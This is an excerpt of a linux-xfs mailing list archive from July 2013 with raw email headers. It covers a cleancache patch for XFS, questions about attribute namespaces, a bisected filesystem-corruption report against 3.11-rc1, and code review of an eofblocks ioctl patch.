+0100, James Dingwall wrote: >>>>>>> In reference to: http://oss.sgi.com/archives/xfs/2012-05/msg00046.html >>>>>>> >>>>>>> $ grep -r cleancache fs/xfs >>>>>>> on the 3.9 kernel source suggests that no patch was submitted to >>>>>>> enable cleancache for the XFS filesystem. Since it was suggested >>>>>>> that this could be a one liner I've had a go and my first effort is >>>>>>> inline below. While this seems to compile OK I have no experience >>>>>>> in filesystems so I would appreciate it if anyone can point out that >>>>>>> it is obviously wrong and likely to eat my data before I try booting >>>>>>> the kernel. >>>>>>> >>>>>>> If it seems a reasonable attempt what would be the best way to check >>>>>>> that it isn't doing nasty things? >>>>>> Hrm.. Looks like there is a doc in Documentation/vm/cleancache.txt which >>>>>> includes a list of attributes the filesystem needs to have to work properly >>>>>> with cleancache. >>>>> So, those points are: >>>> I had started to look at these too but I feel very out of my depth! >>>> I had similar conclusions to what Dave wrote but I don't think my >>>> thoughts should carry very much (any) weight. Anyway I gambled and >>>> booted my xen domU with this patch and so far so good... xen top >>>> shows that tmem is now being used where previously it wasn't. I'll >>>> try running the xfstests at the weekend after a couple more days up >>>> time to see what happens. >>> And how did it go? >> I am running the patch I created on 3.9.3 on half of my xen guests >> now and have not noticed any stability or filesystem problems. xl >> top with 'T' shows that the guests running with it are using >> ephemeral pages were those without do not. I did do some runs with >> xfstests which had some failures but they were present with and >> without the patch. The best I can really offer is that it works for >> me, ymmv. The patch is available as commit >> c725011c4fc5d47e12d131f61bd91a58a40036b5 in >> https://github.com/JKDingwall/linux.git xfs-enable-cleancache or in >> the first message of this thread. > Hey James, > > I've run this patch on my local tree and it looks to work right. I am > saying "looks" as I am hitting some other issue that I believe are > unralted to the patch - but I need to figure them out before I can > comfortably say: "Yes, this looks right and works for me as well." > > Stay tuned. Just to add that I have also had no observable problems running this patch on 3.10.0 or 3.10.1. Regards, James From xfs@tlinx.org Fri Jul 19 03:52:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C4FDA800C for ; Fri, 19 Jul 2013 03:52:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A5D6C8F8033 for ; Fri, 19 Jul 2013 01:52:53 -0700 (PDT) X-ASG-Debug-ID: 1374223971-04cb6c2a47edfa90001-w1Z2WR Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id hETRPCOAy7Kn7FQm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 01:52:52 -0700 (PDT) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id r6J8qnuY078817 for ; Fri, 19 Jul 2013 01:52:51 -0700 Message-ID: <51E8FE5F.8030107@tlinx.org> Date: Fri, 19 Jul 2013 01:52:47 -0700 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: Linux-Xfs Subject: choice of 'namespace' for ACL's Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: choice of 'namespace' for ACL's Content-Transfer-Encoding: 8bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1374223972 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137201 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I was looking at the attr and it left me a bit puzzled. (1) Of minor consideration, was the statement about 'values can be up to 64KB'... But there is no mention of how many names can be present or if there is a cumulative maximum on the names or on the data. I thought I remembered there was, but all I found was limits on single datums. (2) A more confusing issue was the bit describing XFS as having 2 disjoint attrib namespaces, but later the selectors for the names spaces are given as [none] = user, [R] = root, and [S] = Security -- making it sound like 3 disjoint namespaces. So, how many attrib namespaces are their, 2 or 3? (3) Adding a bit more to pique my curiosity, I noticed that file ACL's were in the root-namespace, not the security attribute namespace. Wouldn't it make more sense if access control was considered a security attrib? Another point of confusion was on the attrib manpage where it says: CAVEATS The list option present in the IRIX version of this command is not sup‐ ported. getfattr provides a mechanism to retrieve all of the attribute names. (4) What does that mean? i.e.: when I use attr -l: > attr -l openssh-6.1p1-hpn13v14.diff.gz Attribute "DOSATTRIB" has a 56 byte value for openssh-6.1p1-hpn13v14.diff.gz Attribute "SAMBA_PAI" has a 25 byte value for openssh-6.1p1-hpn13v14.diff.gz or addint the -q switch with -l: > attr -ql openssh-6.1p1-hpn13v14.diff.gz DOSATTRIB SAMBA_PAI --- Does "not supported" mean that it is working by accident and may be removed ... because....[_________???______]? getfattr is suggested as a replacement, but (5) how can it be used to list the lengths? and (6) how can it be used to list the Security or Root namespaces? Sorry for all the Q's, but it seemed like there were some missing pieces... From markus@trippelsdorf.de Fri Jul 19 07:22:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0304C7F82 for ; Fri, 19 Jul 2013 07:22:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7B567AC006 for ; Fri, 19 Jul 2013 05:22:40 -0700 (PDT) X-ASG-Debug-ID: 1374236556-04cb6c2a47ef0ec0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id BqSfDI9DjI9q0ZYz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 05:22:37 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=GxZB4K8IJtdd6aSBcljG+6xpBX MAQ+PY9kmoIVGr7Sc=; b=HFhu1BoGgFSJXb18/771q9ko5QfrQGOlGM16QwHTku ++3XwXedWsHBz1C6ub1P+zLcyU+ZCIsm0nIereqk4xh+Q5eHe5E9sAomCYbfCirh 9at5fAnwudhIx8gt/XyOW/g57GIHwCKXQYk0LceHOkliluM4Ew37/9Q0B5qv0i+7 c= Received: (qmail 10721 invoked from network); 19 Jul 2013 14:22:35 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 19 Jul 2013 14:22:35 +0200 Date: Fri, 19 Jul 2013 14:22:35 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: Stan Hoeppner , xfs@oss.sgi.com, Mark Tinguely , Ben Myers Subject: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719122235.GA360@x4> X-ASG-Orig-Subj: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130715064734.GA361@x4> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374236557 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137215 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.15 at 08:47 +0200, Markus Trippelsdorf wrote: > On 2013.07.15 at 12:28 +1000, Dave Chinner wrote: > > On Fri, Jul 12, 2013 at 09:07:21AM +0200, Markus Trippelsdorf wrote: > > > On 2013.07.12 at 12:17 +1000, Dave Chinner wrote: > > > > On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > > > > > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > > > > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > > > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > > > > > > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > > > > > >> bisection. First my window-rules disappeared, then my desktop background > > > > > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > > > > > >> In the end I had to restore all my .files from backup. > > > > > > > > > > > > > > That's not filesystem corruption. That sounds more like someone not > > > > > > > using fsync in the apropriate place when overwriting a file.... > > > > > > > > > > > t@ubunt:~# xfs_repair /dev/sdb > > > > > Phase 1 - find and verify superblock... > > > > > Phase 2 - using internal log > > > > > - zero log... > > > > > - scan filesystem freespace and inode maps... > > > > > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > > > > > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > > > > > - found root inode chunk > > > > > > > > Again, these are signs that log recovery has not completed > > > > successfully or that for some reason it thought the log was clean. > > > > Can you please post the dmesg output after the crash when you go > > > > through the mount/unmount process before you run xfs_repair? > > > > > > Sure. > > > First boot after crash: > > > XFS (sdb2): Mounting Filesystem > > > XFS (sdb2): Starting recovery (logdev: internal) > > > XFS (sdb2): Ending recovery (logdev: internal) > > > > > > Second boot after crash: > > > XFS (sdb2): Mounting Filesystem > > > XFS (sdb2): Ending clean mount > > > > > > I then boot Ubuntu from another disc to run xfs_repair. > > > > That's what shoul dhave been in the initial description of your > > problem. > > > > > And looking through my logs I see this WARNING: > > > > > > ------------[ cut here ]------------ > > > WARNING: CPU: 0 PID: 439 at fs/inode.c:280 drop_nlink+0x33/0x40() > > > CPU: 0 PID: 439 Comm: gconfd-2 Not tainted 3.10.0-08982-g6d128e1-dirty #42 > > > Hardware name: System manufacturer System Product Name/M4A78T-E, BIOS 3503 04/13/2011 > > > 0000000000000009 ffffffff8157d030 0000000000000000 ffffffff81060788 > > > ffff8801f8608cc8 ffff880205998230 ffff8801f7bede58 0000000000000000 > > > ffff8801f86083c0 ffffffff8110ce93 ffff8801f8608b40 ffffffff811b7104 > > > Call Trace: > > > [] ? dump_stack+0x41/0x51 > > > [] ? warn_slowpath_common+0x68/0x80 > > > [] ? drop_nlink+0x33/0x40 > > > [] ? xfs_droplink+0x24/0x60 > > > [] ? xfs_remove+0x24d/0x380 > > > [] ? xfs_vn_unlink+0x37/0x80 > > > [] ? vfs_unlink+0x6e/0xe0 > > > [] ? do_unlinkat+0x16a/0x220 > > > [] ? SyS_faccessat+0x149/0x200 > > > [] ? system_call_fastpath+0x16/0x1b > > > > When did that occur? Before the crash, after the first/second mount? > > after you ran repair? > > After the first mount. > > > > Some further observations: > > > > > > When I boot 3.2.0 after the crash log recovery works fine. > > > > > > When I boot 3.9.0 after the crash I get the following: > > > > > > [ 2.332989] XFS (sdc2): Mounting Filesystem > > > [ 2.406206] XFS (sdc2): Starting recovery (logdev: internal) > > > [ 2.418147] XFS (sdc2): log record CRC mismatch: found 0xdbcaef48, expected 0x69e7934e. > > > > Just informational - indicating that the log records don't have > > valid CRCs in them because 3.2 didn't calculate them. If you are > > getting them when after a crash on a 3.9+ kernel, then there's a > > problem writing to the log.... > > The crash always occurred on the current Linus tree kernel... > > > > When I boot the current Linus tree after the crash log recovery fails silently. > > > > dmesg output, please. Indeed, what does "fails silently" mean? the > > filesystem doesn't mount but no error is given? > > Again, there is no dmesg output. XFS tells me that it's "Ending recovery > (logdev: internal)" without any errors, when indeed it didn't recover > the log at all. It then mounts the filesystem normally (rw) in this > unclean state. That's when the WARNING I postend above happend. I've bisected this issue to the following commit: commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f Author: Dave Chinner Date: Thu Jun 27 16:04:49 2013 +1000 xfs: don't do IO when creating an new inode Reverting this commit on top of the Linus tree "solves" all problems for me. IOW I no longer loose my KDE and LibreOffice config files during a crash. Log recovery now works fine and xfs_repair shows no issues. So users of 3.11.0-rc1 beware. Only run this version if you have up-to-date backups handy. -- Markus From stefanrin@gmail.com Fri Jul 19 07:41:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 669F37F82 for ; Fri, 19 Jul 2013 07:41:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4E03AC006 for ; Fri, 19 Jul 2013 05:41:31 -0700 (PDT) X-ASG-Debug-ID: 1374237689-04cb6c2a41ef2880001-NocioJ Received: from mail-wg0-f44.google.com (mail-wg0-f44.google.com [74.125.82.44]) by cuda.sgi.com with ESMTP id 7YlW8sY0X951tP3C (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 19 Jul 2013 05:41:30 -0700 (PDT) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.44 Received: by mail-wg0-f44.google.com with SMTP id m15so3870253wgh.11 for ; Fri, 19 Jul 2013 05:41:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=WDofBQcF7m5VwY9/4dqRW3aT69FqFVuG0bf7TI5MOb0=; b=BfRR7ke1ZFnhyEHJd55p9eUKipjl6rnYVVJbbLwi8IPaf2BjHiNiw/BEB2L8KJzvNy RCGUrtJrMRcnWf2RmDAhbB4BFbUCAM6xToEcMNiI6mJk4u2xGTLBbFt2CZOgBawwPPOm GQfCQN0JnpcFjWYXe41eeWKI4Wt07WmWKv1vJXY1Oj+M9LHHzrtjqBAwU9nEcR7OCcaQ QYSB8HiPef4kFmJ7rEn3/zOtEjUPFC0UMlWgqiHSLOzhxb0g6jeRR34V1urg7g7zRj+f 9igUGM0T7qVgMhcMIkL2D8CT1PqKJNACfmklxnZsmnyWdAlKcTkFFzmrn42kOoAGRwlb h7XA== MIME-Version: 1.0 X-Received: by 10.194.82.97 with SMTP id h1mr11804487wjy.95.1374237689535; Fri, 19 Jul 2013 05:41:29 -0700 (PDT) Received: by 10.194.56.138 with HTTP; Fri, 19 Jul 2013 05:41:29 -0700 (PDT) In-Reply-To: <20130719122235.GA360@x4> References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> Date: Fri, 19 Jul 2013 14:41:29 +0200 Message-ID: Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang From: Stefan Ring X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang To: Markus Trippelsdorf Cc: Dave Chinner , Ben Myers , Mark Tinguely , Stan Hoeppner , Linux fs XFS Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wg0-f44.google.com[74.125.82.44] X-Barracuda-Start-Time: 1374237690 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137215 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature > I've bisected this issue to the following commit: > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > Author: Dave Chinner > Date: Thu Jun 27 16:04:49 2013 +1000 > > xfs: don't do IO when creating an new inode > > Reverting this commit on top of the Linus tree "solves" all problems for > me. IOW I no longer loose my KDE and LibreOffice config files during a > crash. Log recovery now works fine and xfs_repair shows no issues. > > So users of 3.11.0-rc1 beware. Only run this version if you have > up-to-date backups handy. What I miss in this thread is a distinction between filesystem corruption on the one hand and a few zeroed files on the other. The latter may be a nuisance, but it is expected behavior, while the former should never happen, period, if I'm not mistaken. From markus@trippelsdorf.de Fri Jul 19 07:51:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EB0637F83 for ; Fri, 19 Jul 2013 07:51:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 70035AC001 for ; Fri, 19 Jul 2013 05:51:52 -0700 (PDT) X-ASG-Debug-ID: 1374238310-04cb6c2a47ef36a0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id bp3drXxVixqNwDJX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 05:51:50 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=P0ydVCbwV+t7Bj2vCvj5GVAn+4 HvcFfoHU6KXANnByo=; b=SaaNKM3eYlw+ZK5ZGTeqe7lrafxXpRvIzOHFRDpliL 16FdSEaAMgLNwshLrAH67kqn8e2ZOgAh9jTMvvUH1zZEsNt5sSC7GCkZe8sfBt0N O0H8nhCdnQGMWsp9E8YFuwKeLAZx0Yus7uIU5FS4gc6ssKuQamplHlk/2NnqCOgC Q= Received: (qmail 15792 invoked from network); 19 Jul 2013 14:51:49 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 19 Jul 2013 14:51:49 +0200 Date: Fri, 19 Jul 2013 14:51:49 +0200 From: Markus Trippelsdorf To: Stefan Ring Cc: Ben Myers , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719125149.GB360@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374238310 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137217 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.19 at 14:41 +0200, Stefan Ring wrote: > > I've bisected this issue to the following commit: > > > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > > Author: Dave Chinner > > Date: Thu Jun 27 16:04:49 2013 +1000 > > > > xfs: don't do IO when creating an new inode > > > > Reverting this commit on top of the Linus tree "solves" all problems for > > me. IOW I no longer loose my KDE and LibreOffice config files during a > > crash. Log recovery now works fine and xfs_repair shows no issues. > > > > So users of 3.11.0-rc1 beware. Only run this version if you have > > up-to-date backups handy. > > What I miss in this thread is a distinction between filesystem > corruption on the one hand and a few zeroed files on the other. The > latter may be a nuisance, but it is expected behavior, while the > former should never happen, period, if I'm not mistaken. Well, it is natural that fs developers at first try to blame userspace. Unfortunately it turned out that in this case there is filesystem corruption. (Fortunately this normally happens only very rarely on rc1 kernels). -- Markus From dwight.engen@oracle.com Fri Jul 19 10:51:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8FD387F69 for ; Fri, 19 Jul 2013 10:51:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 80B748F804C for ; Fri, 19 Jul 2013 08:51:03 -0700 (PDT) X-ASG-Debug-ID: 1374249062-04cb6c2a46f036f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id JvNlCUQVPFdFhF22 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 08:51:02 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6JFoxgY031746 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 19 Jul 2013 15:51:00 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6JFowdl020752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 19 Jul 2013 15:50:59 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6JFov1p013078; Fri, 19 Jul 2013 15:50:57 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 19 Jul 2013 08:50:57 -0700 Date: Fri, 19 Jul 2013 11:51:08 -0400 From: Dwight Engen To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130719115108.6c846a8c@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v4 5/7] xfs: create internal eofblocks structure with kuid_t types In-Reply-To: <20130719054618.GW11674@dastard> References: <20130717114740.77f7bcee@oracle.com> <20130719054618.GW11674@dastard> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374249062 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137229 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, 19 Jul 2013 15:46:18 +1000 Dave Chinner wrote: > On Wed, Jul 17, 2013 at 11:47:40AM -0400, Dwight Engen wrote: > > Have eofblocks ioctl convert uid_t to kuid_t into internal > > structure. Update internal filter matching to compare ids with > > kuid_t types. > > > > Signed-off-by: Dwight Engen > .... > > > > +static inline void > > +xfs_fs_eofblocks_to_internal( > > + struct xfs_fs_eofblocks *src, > > + struct xfs_eofblocks *dst) > > I'd prefer that be named xfs_fs_eofblocks_from_user() to make it > clear that we don't trust the contents of src at all... Sure, I'll rename it. > > +{ > > + dst->eof_flags = src->eof_flags; > > + dst->eof_prid = src->eof_prid; > > + dst->eof_min_file_size = src->eof_min_file_size; > > + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); > > + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); > > +} > > + > > #endif > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > > index 8edc780..abbbdcf 100644 > > --- a/fs/xfs/xfs_ioctl.c > > +++ b/fs/xfs/xfs_ioctl.c > > @@ -1610,7 +1610,8 @@ xfs_file_ioctl( > > return -error; > > > > case XFS_IOC_FREE_EOFBLOCKS: { > > - struct xfs_eofblocks eofb; > > + struct xfs_fs_eofblocks eofb; > > + struct xfs_eofblocks keofb; > > > > if (copy_from_user(&eofb, arg, sizeof(eofb))) > > return -XFS_ERROR(EFAULT); > > @@ -1625,7 +1626,17 @@ xfs_file_ioctl( > > memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) > > return -XFS_ERROR(EINVAL); > > > > - error = xfs_icache_free_eofblocks(mp, &eofb); > > + xfs_fs_eofblocks_to_internal(&eofb, &keofb); > > + > > + if (keofb.eof_flags & XFS_EOF_FLAGS_UID && > > + !uid_valid(keofb.eof_uid)) > > + return XFS_ERROR(EINVAL); > > + > > + if (keofb.eof_flags & XFS_EOF_FLAGS_GID && > > + !gid_valid(keofb.eof_gid)) > > + return XFS_ERROR(EINVAL); > > And I think these two checks should be in > xfs_fs_eofblocks_from_user(), hence pushing all the conversion and > validation of the user-supplied parameters into the one function. > > Also, we need to return negative errors from this function.... That is the way I originally had it in v3 but Brian had suggested (http://oss.sgi.com/archives/xfs/2013-06/msg00952.html) it might be better to move the policy out of the conversion function and put it in ioctl itself. I agree with you that makes sense to have it all together so I'm happy to put it back in xfs_fs_eofblocks_from_user(). > > + error = xfs_icache_free_eofblocks(mp, &keofb); > > return -error; > > return -xfs_icache_free_eofblocks(mp, &keofb); > > Cheers, > > Dave. From sandeen@sandeen.net Fri Jul 19 11:02:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 534F47F62 for ; Fri, 19 Jul 2013 11:02:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 424998F8064 for ; Fri, 19 Jul 2013 09:02:21 -0700 (PDT) X-ASG-Debug-ID: 1374249740-04cb6c2a46f040f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id cxGvLuJ3JGgetxbV for ; Fri, 19 Jul 2013 09:02:20 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) 